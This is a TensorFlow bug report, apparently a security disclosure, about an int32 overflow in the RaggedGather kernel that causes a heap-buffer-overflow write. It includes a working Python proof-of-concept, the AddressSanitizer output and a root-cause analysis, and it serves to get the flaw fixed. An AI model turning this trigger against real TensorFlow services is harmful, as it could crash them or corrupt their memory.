`RaggedGather` int32 value-count overflow causes a heap-buffer-overflow write

Environment

• Issue type: Bug
• Installation source: Source
• TensorFlow: 2.21.0-dev0+selfbuilt
• Source revision used for ASan replay: 1ba0a9868d4531a3246409296a6f1638abfe6e98
• Current source check: 8a52b03f9de61edf83a97c6e6de8b81b73c33f66
• OS/device: Linux x86-64, CPU
• Sanitizer: AddressSanitizer

PoC

import tensorflow as tf

tf.raw_ops.RaggedGather(
    params_nested_splits=[tf.constant([0, 65536], tf.int32)],
    params_dense_values=tf.zeros([65536], tf.uint8),
    indices=tf.zeros([65537], tf.int32),
    OUTPUT_RAGGED_RANK=1,
)

Run with an ASan-enabled TensorFlow build:

ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 python3 repro.py

ASan result

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
0 bytes after 65536-byte region
WriteValueSlices<unsigned char, int>
tensorflow/core/kernels/ragged_gather_op.cc:47:28

The true output count is 65537 * 65536 = 2^32 + 65536, but the count is
accumulated in the selected int32 row-splits type and wraps to 65536. The
output allocation uses the wrapped count while the copy loop processes all
selected rows.

The unchecked accumulation remains on current master at
ragged_gather_op.cc:191.

Expected behavior

The value count should use checked wide arithmetic and return a recoverable
error on overflow instead of allocating an undersized output.